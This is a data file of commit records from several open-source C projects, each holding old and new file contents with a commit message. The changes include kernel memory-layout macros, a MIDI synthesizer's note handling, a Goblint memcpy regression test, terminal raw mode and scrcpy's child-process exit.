{"commit":"3cc87c2958215f031643358719b4fd858eae596a","old_file":"include\/arch\/x86\/memlayout.h","new_file":"include\/arch\/x86\/memlayout.h","old_contents":"#ifndef MEMLAYOUT_H\n#define MEMLAYOUT_H\n\n#include <stdint.h>\n\n#define KERNEL_START ((uint32_t)&kernel_start)\n#define KERNEL_END ((uint32_t)&kernel_end)\n#define KERNEL_SIZE (KERNEL_START - KERNEL_END)\n\n#define VIDEO_MEMORY_BEGIN 0xB8000\n#define VIDEO_MEMORY_SIZE (80 * 24)\n\n#define VIRTUAL_TO_PHYSICAL(addr) ((uint32_t)(addr) - KERNEL_START)\n#define PHYSICAL_TO_VIRTUAL(addr) ((void *)(addr) + KERNEL_START)\n\n\n#endif\n","new_contents":"#ifndef MEMLAYOUT_H\n#define MEMLAYOUT_H\n\n#include <stdint.h>\n\n\/\/ These two variables are defined by the linker. They are located where you\n\/\/ would expect based on the names.\nextern uint32_t kernel_start;\nextern uint32_t kernel_end;\n\n#define KERNEL_END ((uint32_t)&kernel_end)\n#define KERNEL_START ((uint32_t)&kernel_start)\n#define KERNEL_END ((uint32_t)&kernel_end)\n#define KERNEL_SIZE (KERNEL_START - KERNEL_END)\n\n\/\/ Paging related\n#define PAGE_ALIGN(x) (((uintptr_t)(x)) & ~0xfff)\n#define NEXT_PAGE(x) (((uintptr_t)(x)+PAGE_SIZE) & ~0xfff)\n#define PAGE_DIRECTORY NEXT_PAGE(KERNEL_END)\n\n\/\/ Heap related\n#define KHEAP_PHYS_ROOT ((void*)0x100000)\n#define KHEAP_PHYS_END ((void*)NEXT_PAGE(KHEAP_PHYS_ROOT))\n\n\/\/ Video memory related\n#define VIDEO_MEMORY_BEGIN 0xB8000\n#define VIDEO_MEMORY_SIZE (80 * 24)\n\n#endif\n","subject":"Reorganize macros related to memory layout","message":"Reorganize macros related to memory layout\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth"}
{"commit":"257d42ef1d4c7bcc8b9fed75c86bd7df2d8f6eb3","old_file":"organ.c","new_file":"organ.c","old_contents":"#ifndef F_CPU\n#define F_CPU F_OSC\n#endif\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n#include <ctype.h>\n#include <math.h>\n#include <stdint.h>\n#include <util\/delay.h>\n\n#include \"config.h\"\n#include \"nco.h\"\n#include \"uart.h\"\n\nstatic void handle_midi(void);\nint main(void);\n\n__attribute__((optimize(\"unroll-loops\")))\nstatic void handle_midi(void) {\n    uint8_t command;\n    uint8_t channel;\n    \n    do {\n        command = rx();\n    } while(!(command&0x80));\n\n    channel = command & 0x0F;\n    command = (command >> 4) - 8;\n\n    uint8_t p1, p2;\n\n    if(channel != 0) {\n        return;\n    }\n    \n    switch(command) {\n    case 0:\n        p1 = rx();\n        p2 = rx();\n        stop_tone(p1, p2);\n        break;\n    case 1:\n        p1 = rx();\n        p2 = rx();\n        start_tone(p1, p2);\n        break;\n    default:\n        break;\n    }\n}\nint main(void) {\n    uart_init(38400);\n    nco_init();\n    sei();\n    uint8_t i = 0;\n    while(1) {\n        handle_midi();\n    }\n    \n    return 0;\n}\n","new_contents":"#ifndef F_CPU\n#define F_CPU F_OSC\n#endif\n#include <avr\/io.h>\n#include <avr\/interrupt.h>\n#include <ctype.h>\n#include <math.h>\n#include <stdint.h>\n#include <util\/delay.h>\n\n#include \"config.h\"\n#include \"nco.h\"\n#include \"uart.h\"\n\nstatic void handle_midi(void);\nint main(void);\n\n__attribute__((optimize(\"unroll-loops\")))\nstatic void handle_midi(void) {\n    uint8_t command;\n    uint8_t channel;\n    \n    do {\n        command = rx();\n    } while(!(command&0x80));\n\n    channel = command & 0x0F;\n    command = (command >> 4) - 8;\n\n    uint8_t p1, p2;\n\n    if(channel != 0) {\n        return;\n    }\n    \n    switch(command) {\n    case 0:\n    case 1:\n        p1 = rx();\n        p2 = rx();\n        if(p2 != 0 && command != 0) {\n            start_tone(p1, p2);\n        } else {\n            stop_tone(p1, p2);\n        }\n        break;\n    default:\n        break;\n    }\n}\nint main(void) {\n    uart_init(38400);\n    nco_init();\n    sei();\n    uint8_t i = 0;\n    while(1) {\n        handle_midi();\n    }\n    \n    return 0;\n}\n","subject":"Use stop_tone() if velocity set to 0","message":"Use stop_tone() if velocity set to 0\n","lang":"C","license":"mit","repos":"Cat-Ion\/atmega328-midi-synthesizer"}
{"commit":"010006bafda486f36725e6b3e0b460faf30c5d7d","old_file":"libraries\/datastruct\/hash\/walk.c","new_file":"libraries\/datastruct\/hash\/walk.c","old_contents":"\/* --------------------------------------------------------------------------\n *    Name: walk.c\n * Purpose: Associative array implemented as a hash\n * ----------------------------------------------------------------------- *\/\n\n#include <stdlib.h>\n\n#include \"base\/memento\/memento.h\"\n\n#include \"base\/errors.h\"\n\n#include \"datastruct\/hash.h\"\n\n#include \"impl.h\"\n\nerror hash_walk(const hash_t *h, hash_walk_callback *cb, void *cbarg)\n{\n  int i;\n\n  for (i = 0; i < h->nbins; i++)\n  {\n    hash__node_t *n;\n    hash__node_t *next;\n\n    for (n = h->bins[i]; n != NULL; n = next)\n    {\n      int r;\n\n      next = n->next;\n\n      r = cb(&n->item, cbarg);\n      if (r < 0)\n        return r;\n    }\n  }\n\n  return error_OK;\n}\n\n","new_contents":"\/* --------------------------------------------------------------------------\n *    Name: walk.c\n * Purpose: Associative array implemented as a hash\n * ----------------------------------------------------------------------- *\/\n\n#include <stdlib.h>\n\n#include \"base\/memento\/memento.h\"\n\n#include \"base\/errors.h\"\n\n#include \"datastruct\/hash.h\"\n\n#include \"impl.h\"\n\nerror hash_walk(const hash_t *h, hash_walk_callback *cb, void *cbarg)\n{\n  int i;\n\n  for (i = 0; i < h->nbins; i++)\n  {\n    hash__node_t *n;\n    hash__node_t *next;\n\n    for (n = h->bins[i]; n != NULL; n = next)\n    {\n      error r;\n\n      next = n->next;\n\n      r = cb(&n->item, cbarg);\n      if (r < 0)\n        return r;\n    }\n  }\n\n  return error_OK;\n}\n\n","subject":"Fix itype int -> error.","message":"Fix itype int -> error.\n","lang":"C","license":"bsd-2-clause","repos":"dpt\/Containers,dpt\/Containers"}
{"commit":"dd600db758c36b02ec97372867ee27cb2ef2b0f6","old_file":"trunk\/include\/SimTKcommon\/internal\/Array.h","new_file":"trunk\/include\/SimTKcommon\/internal\/Array.h","old_contents":"","new_contents":"#ifndef SimTK_SimTKCOMMON_ARRAY_H_\r\n#define SimTK_SimTKCOMMON_ARRAY_H_\r\n\r\n\/* -------------------------------------------------------------------------- *\r\n *                      SimTK Core: SimTKcommon                               *\r\n * -------------------------------------------------------------------------- *\r\n * This is part of the SimTK Core biosimulation toolkit originating from      *\r\n * Simbios, the NIH National Center for Physics-Based Simulation of           *\r\n * Biological Structures at Stanford, funded under the NIH Roadmap for        *\r\n * Medical Research, grant U54 GM072970. See https:\/\/simtk.org.               *\r\n *                                                                            *\r\n * Portions copyright (c) 2010 Stanford University and the Authors.           *\r\n * Authors: Michael Sherman                                                   *\r\n * Contributors:                                                              *\r\n *                                                                            *\r\n * Permission is hereby granted, free of charge, to any person obtaining a    *\r\n * copy of this software and associated documentation files (the \"Software\"), *\r\n * to deal in the Software without restriction, including without limitation  *\r\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,   *\r\n * and\/or sell copies of the Software, and to permit persons to whom the      *\r\n * Software is furnished to do so, subject to the following conditions:       *\r\n *                                                                            *\r\n * The above copyright notice and this permission notice shall be included in *\r\n * all copies or substantial portions of the Software.                        *\r\n *                                                                            *\r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *\r\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,   *\r\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    *\r\n * THE AUTHORS, CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,    *\r\n * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR      *\r\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE  *\r\n * USE OR OTHER DEALINGS IN THE SOFTWARE.                                     *\r\n * -------------------------------------------------------------------------- *\/\r\n\r\n#include \"SimTKcommon\/internal\/common.h\"\r\n\r\n\r\n\r\nnamespace SimTK {\r\n\r\n\/**\r\n * Array_<T> is like std::vector<T> but better ...\r\n *\/\r\n\r\n\r\n} \/\/ namespace SimTK\r\n  \r\n#endif \/\/ SimTK_SimTKCOMMON_ARRAY_H_\r\n","subject":"Add new header (nothing in it yet).","message":"Add new header (nothing in it yet).\n","lang":"C","license":"apache-2.0","repos":"elkingtonmcb\/simbody,robojukie\/simbody,chrisdembia\/simbody,elen4\/simbody,elen4\/simbody,robojukie\/simbody,simbody\/simbody,Gjacquenot\/simbody,chrisdembia\/simbody,scamille\/simbody,Gjacquenot\/simbody,scamille\/simbody,Gjacquenot\/simbody,scamille\/simbody,chrisdembia\/simbody,simbody\/simbody,elkingtonmcb\/simbody,robojukie\/simbody,elkingtonmcb\/simbody"}
{"commit":"0aeec8d488541f58a74a189972049937e92ea364","old_file":"tests\/regression\/02-base\/90-memcpy.c","new_file":"tests\/regression\/02-base\/90-memcpy.c","old_contents":"\n\/\/ Test case taken from sqlite3.c\n#include <string.h>\n\ntypedef unsigned long u64;\n\n# define EXP754 (((u64)0x7ff)<<52)\n# define MAN754 ((((u64)1)<<52)-1)\n# define IsNaN(X) (((X)&EXP754)==EXP754 && ((X)&MAN754)!=0)\n\n\nstatic int sqlite3IsNaN(double x){\n  int rc;   \/* The value return *\/\n  u64 y;\n  memcpy(&y,&x,sizeof(y));  \/\/ Goblint used to crash here\n  rc = IsNaN(y);\n  return rc;\n}\n\nint foo(){\n    int x = 23;\n    int y;\n\n    memcpy(&y, &x, sizeof(int));\n\n    __goblint_check(y == 23);\n    return 0;\n}\n\nint main(){\n    sqlite3IsNaN(23.0);\n    foo();\n    return 0;\n}\n","new_contents":"\n\/\/ Test case taken from sqlite3.c\n#include <string.h>\n\ntypedef unsigned long u64;\n\n# define EXP754 (((u64)0x7ff)<<52)\n# define MAN754 ((((u64)1)<<52)-1)\n# define IsNaN(X) (((X)&EXP754)==EXP754 && ((X)&MAN754)!=0)\n\n\nstatic int sqlite3IsNaN(double x){\n  int rc;   \/* The value return *\/\n  u64 y;\n  memcpy(&y,&x,sizeof(y));  \/\/ Goblint used to crash here\n  rc = IsNaN(y);\n  return rc;\n}\n\nint foo(){\n    int x = 23;\n    int y;\n\n    memcpy(&y, &x, sizeof(int));\n\n    __goblint_check(y == 23);\n    return 0;\n}\n\nint bar(){\n    int arr[10];\n    double y;\n\n    for(int i = 0; i < 10; i++){\n        arr[i] = 0;\n    }\n    __goblint_check(arr[0] == 0);\n    __goblint_check(arr[3] == 0);\n\n    memcpy(&arr, &y, sizeof(double));\n\n    __goblint_check(arr[0] == 0); \/\/UNKNOWN!\n    __goblint_check(arr[3] == 0); \/\/UNKNOWN\n\n    return 0;\n}\n\nint main(){\n    sqlite3IsNaN(23.0);\n    foo();\n    bar();\n    return 0;\n}\n","subject":"Add test case checking that memcpy into an array invalidates it.","message":"Add test case checking that memcpy into an array invalidates it.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"642d8cd7b9669111aea0c22ec09530fab383593f","old_file":"lepton\/renderer.h","new_file":"lepton\/renderer.h","old_contents":"\/****************************************************************************\n*\n* Copyright (c) 2008 by Casey Duncan and contributors\n* All Rights Reserved.\n*\n* This software is subject to the provisions of the MIT License\n* A copy of the license should accompany this distribution.\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n*\n****************************************************************************\/\n\/* Renderer shared code\n *\n * $Id$ \n *\/\n\n#ifndef _RENDERER_H_\n#define _RENDERER_H_\n\ntypedef struct {\n\tPyObject_HEAD\n\tPy_ssize_t size;\n\tfloat *data;\n} FloatArrayObject;\n\n\/* Return true if o is a bon-a-fide FloatArrayObject *\/\nint FloatArrayObject_Check(FloatArrayObject *o);\n\nFloatArrayObject *\nFloatArray_new(Py_ssize_t size);\n\nFloatArrayObject *\ngenerate_default_2D_tex_coords(GroupObject *pgroup);\n\n\/* Initialize the glew OpenGL extension manager\n   If glew has already been initialized, do nothing *\/\nint\nglew_initialize(void);\n\n#endif\n","new_contents":"\/****************************************************************************\n*\n* Copyright (c) 2008 by Casey Duncan and contributors\n* All Rights Reserved.\n*\n* This software is subject to the provisions of the MIT License\n* A copy of the license should accompany this distribution.\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n*\n****************************************************************************\/\n\/* Renderer shared code\n *\n * $Id$ \n *\/\n\n#ifndef _RENDERER_H_\n#define _RENDERER_H_\n\ntypedef struct {\n\tPyObject_HEAD\n\tPy_ssize_t size;\n\tfloat *data;\n} FloatArrayObject;\n\n\/* Return true if o is a bon-a-fide FloatArrayObject *\/\nint FloatArrayObject_Check(FloatArrayObject *o);\n\nFloatArrayObject *\nFloatArray_new(Py_ssize_t size);\n\nFloatArrayObject *\ngenerate_default_2D_tex_coords(GroupObject *pgroup);\n\n\/* Initialize the glew OpenGL extension manager\n   If glew has already been initialized, do nothing *\/\nint\nglew_initialize(void);\n\n#endif\n\n\/\/ Windows lacks fminf\n#ifndef fminf\n#define fminf(x, y) (((x) < (y)) ? (x) : (y))\n#endif\n","subject":"Define fminf for platforms that lack it","message":"Define fminf for platforms that lack it\n","lang":"C","license":"mit","repos":"pombreda\/py-lepton,caseman\/py-lepton,caseman\/py-lepton,pombreda\/py-lepton"}
{"commit":"813af68babfff1c261f491f463b04d5cce28282d","old_file":"include\/ROBASTInit.h","new_file":"include\/ROBASTInit.h","old_contents":"#include \"stdio.h\"\n\n __attribute__((constructor)) static void PrintReference() {\n  printf(\" ----------------------------------------------------------------------------\\n\"\n\t \"| Welcome to ROBAST                               https:\/\/robast.github.io\/  |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"| Please cite the following paper when you publish your ROBAST simulation.   |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"| Akira Okumura, Koji Noda, Cameron Rulten (2016)                            |\\n\"\n\t \"| \\\"ROBAST: Development of a ROOT-Based Ray-Tracing Library for Cosmic-Ray    |\\n\"\n\t \"| Telescopes and its Applications in the Cherenkov Telescope Array\\\"          |\\n\"\n\t \"| Astroparticle Physics 76 38-47                                             |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"| For support & FAQ, please visit https:\/\/robast.github.io\/support.html      |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"|                       ROBAST is developed by Akira Okumura (oxon@mac.com)  |\\n\"\n\t \" ----------------------------------------------------------------------------\\n\");\n}\n","new_contents":"#include \"stdio.h\"\n\n __attribute__((constructor)) static void PrintReference() {\n  printf(\" ----------------------------------------------------------------------------\\n\"\n\t \"| Welcome to ROBAST                               https:\/\/robast.github.io\/  |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"| Please cite the following paper when you publish your ROBAST simulation.   |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"| Akira Okumura, Koji Noda, Cameron Rulten (2016)                            |\\n\"\n\t \"| \\\"ROBAST: Development of a ROOT-Based Ray-Tracing Library for Cosmic-Ray    |\\n\"\n\t \"| Telescopes and its Applications in the Cherenkov Telescope Array\\\"          |\\n\"\n\t \"| \\e[3mAstroparticle Physics\\e[0m \\e[1m76\\e[0m 38-47                                             |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"| For support & FAQ, please visit https:\/\/robast.github.io\/support.html      |\\n\"\n\t \"|                                                                            |\\n\"\n\t \"|                       ROBAST is developed by Akira Okumura (oxon@mac.com)  |\\n\"\n\t \" ----------------------------------------------------------------------------\\n\");\n}\n","subject":"Add escape sequences to make characters italic or bold","message":"Add escape sequences to make characters italic or bold\n","lang":"C","license":"lgpl-2.1","repos":"ROBAST\/ROBAST,ROBAST\/ROBAST,ROBAST\/ROBAST,ROBAST\/ROBAST,ROBAST\/ROBAST"}
{"commit":"3cf2e242408d0a8a6058f14ab0f6ca9227269049","old_file":"libvirt-gconfig\/libvirt-gconfig-domain-chardev-source-private.h","new_file":"libvirt-gconfig\/libvirt-gconfig-domain-chardev-source-private.h","old_contents":"","new_contents":"\/*\n * libvirt-gconfig-domain-chardev-source-private.h: libvirt domain chardev configuration\n *\n * Copyright (C) 2013 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library. If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Author: Daniel P. Berrange <berrange@redhat.com>\n *\/\n\n#ifndef __LIBVIRT_GCONFIG_DOMAIN_CHARDEV_SOURCE_PRIVATE_H__\n#define __LIBVIRT_GCONFIG_DOMAIN_CHARDEV_SOURCE_PRIVATE_H__\n\n#include <libvirt-gconfig\/libvirt-gconfig-xml-doc.h>\n\nG_BEGIN_DECLS\n\nGVirConfigDomainChardevSource *\ngvir_config_domain_chardev_source_new_from_tree(GVirConfigXmlDoc *doc,\n                                                xmlNodePtr tree);\n\nGVirConfigDomainChardevSource *\ngvir_config_domain_chardev_source_pty_new_from_tree(GVirConfigXmlDoc *doc,\n                                                    xmlNodePtr tree);\n\nG_END_DECLS\n\n#endif \/* __LIBVIRT_GCONFIG_DOMAIN_CHARDEV_SOURCE_PRIVATE_H__ *\/\n","subject":"Add missing file from previous commit","message":"Add missing file from previous commit\n\nThe commit 35a310c62a8bf704aceb3a5b3ecce36c11525914 forgot\nto add libvirt-gconfig\/libvirt-gconfig-domain-chardev-source-private.h\n\nSigned-off-by: Daniel P. Berrange <bb938cf255e055ff3507f2627d214e8e62118fcf@redhat.com>\n","lang":"C","license":"lgpl-2.1","repos":"libvirt\/libvirt-glib,libvirt\/libvirt-glib,libvirt\/libvirt-glib"}
{"commit":"00f243db13be5124a76d09f6c15ae7ef41de0a94","old_file":"include\/inicpp\/dll.h","new_file":"include\/inicpp\/dll.h","old_contents":"#ifndef INICPP_DLL_H\n#define INICPP_DLL_H\n\n\n#ifdef INICPP_DLL\n#ifdef INICPP_EXPORT\n#define INICPP_API __declspec(dllexport)\n#else\n#define INICPP_API __declspec(dllimport)\n#endif\n#else\n#define INICPP_API\n#endif\n\n\n\/\/ Disable unwanted and not necessary MSVC++ warnings\n#pragma warning(disable:4800)\n#pragma warning(disable:4251)\n\n\n#endif \/\/ INICPP_DLL_H\n","new_contents":"#ifndef INICPP_DLL_H\n#define INICPP_DLL_H\n\n\n#ifdef INICPP_DLL\n#ifdef INICPP_EXPORT\n#define INICPP_API __declspec(dllexport)\n#else\n#define INICPP_API __declspec(dllimport)\n#endif\n#else\n#define INICPP_API\n#endif\n\n\n\/\/ Disable unwanted and not necessary MSVC++ warnings\n#ifdef _MSC_VER\n#pragma warning(disable:4800)\n#pragma warning(disable:4251)\n#endif\n\n\n#endif \/\/ INICPP_DLL_H\n","subject":"Enable disabling warnings using pragmas only on MSVC++","message":"Enable disabling warnings using pragmas only on MSVC++\n","lang":"C","license":"mit","repos":"SemaiCZE\/inicpp,SemaiCZE\/inicpp"}
{"commit":"f56aea747c00f3f9275189a33a8f81e9135b1469","old_file":"texor.c","new_file":"texor.c","old_contents":"#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_lflag &= ~(ECHO);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q');\n  return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_lflag &= ~(ECHO | ICANON);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q');\n  return 0;\n}\n","subject":"Disable canonical mode in terminal","message":"Disable canonical mode in terminal\n","lang":"C","license":"bsd-2-clause","repos":"kyletolle\/texor"}
{"commit":"933d247dcf74b77442a9780fb885e59b60972439","old_file":"include\/ipv4.h","new_file":"include\/ipv4.h","old_contents":"#ifndef IPV4_H\n#define IPV4_H\n#include \"syshead.h\"\n\n#include \"netdev.h\"\n\n#define IPV4 0x04\n\n#define ICMPV4 0x01\n\nstruct iphdr {\n    uint8_t ihl : 4; \/* TODO: Support Big Endian hosts *\/\n    uint8_t version : 4;\n    uint8_t tos;\n    uint16_t len;\n    uint16_t id;\n    uint16_t flags : 3;\n    uint16_t frag_offset : 13;\n    uint8_t ttl;\n    uint8_t proto;\n    uint16_t csum;\n    uint32_t saddr;\n    uint32_t daddr;\n} __attribute__((packed));\n    \nvoid ipv4_incoming(struct netdev *netdev, struct eth_hdr *hdr);\n    \n#endif\n","new_contents":"#ifndef IPV4_H\n#define IPV4_H\n#include \"syshead.h\"\n\n#include \"netdev.h\"\n\n#define IPV4 0x04\n\n#define ICMPV4 0x01\n\nstruct iphdr {\n    uint8_t ihl : 4; \/* TODO: Support Big Endian hosts *\/\n    uint8_t version : 4;\n    uint8_t tos;\n    uint16_t len;\n    uint16_t id;\n    uint16_t flags : 3;\n    uint16_t frag_offset : 13;\n    uint8_t ttl;\n    uint8_t proto;\n    uint16_t csum;\n    uint32_t saddr;\n    uint32_t daddr;\n    uint8_t data[];\n} __attribute__((packed));\n    \nvoid ipv4_incoming(struct netdev *netdev, struct eth_hdr *hdr);\n    \n#endif\n","subject":"Add payload field to IPv4 header","message":"Add payload field to IPv4 header\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"a919944372d887ec6ea094621c4f0d4dc6dbf36a","old_file":"app\/src\/unix\/command.c","new_file":"app\/src\/unix\/command.c","old_contents":"#include \"..\/command.h\"\n\n#include <signal.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n\npid_t cmd_execute(const char *path, const char *const argv[]) {\n    pid_t pid = fork();\n    if (pid == -1) {\n        perror(\"fork\");\n        return -1;\n    }\n    if (pid == 0) {\n        execvp(path, (char *const *)argv);\n        perror(\"exec\");\n        exit(1);\n    }\n    return pid;\n}\n\nSDL_bool cmd_terminate(pid_t pid) {\n    return kill(pid, SIGTERM) != -1;\n}\n\nSDL_bool cmd_simple_wait(pid_t pid, int *exit_code) {\n    int status;\n    int code;\n    if (waitpid(pid, &status, 0) == -1 || !WIFEXITED(status)) {\n        \/\/ cannot wait, or exited unexpectedly, probably by a signal\n        code = -1;\n    } else {\n        code = WEXITSTATUS(status);\n    }\n    if (exit_code) {\n        *exit_code = code;\n    }\n    return !code;\n}\n","new_contents":"#include \"..\/command.h\"\n\n#include <signal.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n\npid_t cmd_execute(const char *path, const char *const argv[]) {\n    pid_t pid = fork();\n    if (pid == -1) {\n        perror(\"fork\");\n        return -1;\n    }\n    if (pid == 0) {\n        execvp(path, (char *const *)argv);\n        perror(\"exec\");\n        _exit(1);\n    }\n    return pid;\n}\n\nSDL_bool cmd_terminate(pid_t pid) {\n    return kill(pid, SIGTERM) != -1;\n}\n\nSDL_bool cmd_simple_wait(pid_t pid, int *exit_code) {\n    int status;\n    int code;\n    if (waitpid(pid, &status, 0) == -1 || !WIFEXITED(status)) {\n        \/\/ cannot wait, or exited unexpectedly, probably by a signal\n        code = -1;\n    } else {\n        code = WEXITSTATUS(status);\n    }\n    if (exit_code) {\n        *exit_code = code;\n    }\n    return !code;\n}\n","subject":"Use _exit() instead of exit() in child process","message":"Use _exit() instead of exit() in child process\n\nexit() should not be called from within a child process, since it would\ncall functions registered with atexit(), and flush stdio streams. Use\n_exit() instead.\n","lang":"C","license":"apache-2.0","repos":"Genymobile\/scrcpy,Genymobile\/scrcpy,Genymobile\/scrcpy"}
{"commit":"c25e3541c6cfc06393af108902fa4c3f768d00b2","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <fcntl.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <unistd.h>\n#include \"bmp.h\"\n\n#define SIGNATURE_LENGTH 2\n\nconst char usage[] = \"Usage: %s <filenname>\\n\";\n\nint main(int argc, char *argv[])\n{\n\tif (argc != 2) {\n\t\tprintf(usage, argv[0]);\n\t\treturn 1;\n\t}\n\n\tint fd = open(argv[1], O_RDONLY);\n\tchar buf[SIGNATURE_LENGTH];\n\tssize_t bytes = read(fd, buf, SIGNATURE_LENGTH);\n\tif (bytes == -1) {\n\t\tperror(\"error reading file\");\n\t\treturn 1;\n\t}\n\n\tlseek(fd, 0, SEEK_SET);\n\n\tswitch (buf[0] << 8 | buf[1]) {\n\tcase BMP_SIGNATURE:\n\t\treturn print_bmp(fd);\n\tdefault:\n\t\tputs(\"Error: unrecognized file format\");\n\t\treturn 1;\n\t}\n}\n","new_contents":"#include <fcntl.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <unistd.h>\n#include \"bmp.h\"\n\n#define SIGNATURE_LENGTH 2\n\nconst char usage[] = \"Usage: %s <filenname>\\n\";\n\nint main(int argc, char *argv[])\n{\n\tif (argc != 2) {\n\t\tprintf(usage, argv[0]);\n\t\treturn 1;\n\t}\n\n\tint fd = open(argv[1], O_RDONLY);\n\tif (fd == -1) {\n\t\tperror(\"error opening file\");\n\t\treturn 1;\n\t}\n\n\tchar buf[SIGNATURE_LENGTH];\n\tssize_t bytes = read(fd, buf, SIGNATURE_LENGTH);\n\tif (bytes == -1) {\n\t\tperror(\"error reading file\");\n\t\treturn 1;\n\t}\n\n\tlseek(fd, 0, SEEK_SET);\n\n\tswitch (buf[0] << 8 | buf[1]) {\n\tcase BMP_SIGNATURE:\n\t\treturn print_bmp(fd);\n\tdefault:\n\t\tputs(\"Error: unrecognized file format\");\n\t\treturn 1;\n\t}\n}\n","subject":"Check for error when calling open()","message":"Check for error when calling open()\n","lang":"C","license":"mit","repos":"orodley\/imgprint"}
{"commit":"daf3a9e2f0ecaca59542decfacacca851264b92f","old_file":"xmas3.c","new_file":"xmas3.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char*argv[])\n{\n    int length = 8;\n\n    for (int i = 0;i<length;i++)\n    {\n        for (int j = 0;j<=i;j++)\n        {\n            printf(\"*\");\n        }\n        printf(\"\\n\");\n    }\n    return 0;\n}\n\n","new_contents":"\/*Build: gcc -std=c99 -o xmas3 xmas3.c*\/\n#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char*argv[])\n{\n    if (argc != 2)\n    {\n        printf(\"USAGE: %s [length]\\n\", argv[0]);\n        exit(-1);\n    }\n\n    int length = atoi(argv[1]);\n\n    for (int i = 0;i<length;i++)\n    {\n        for (int j = 0;j<=i;j++)\n        {\n            printf(\"*\");\n        }\n        printf(\"\\n\");\n    }\n\n    return 0;\n}\n\n","subject":"Add length as a parameter in command line.","message":"Add length as a parameter in command line.\n","lang":"C","license":"mit","repos":"svagionitis\/xmas-tree"}
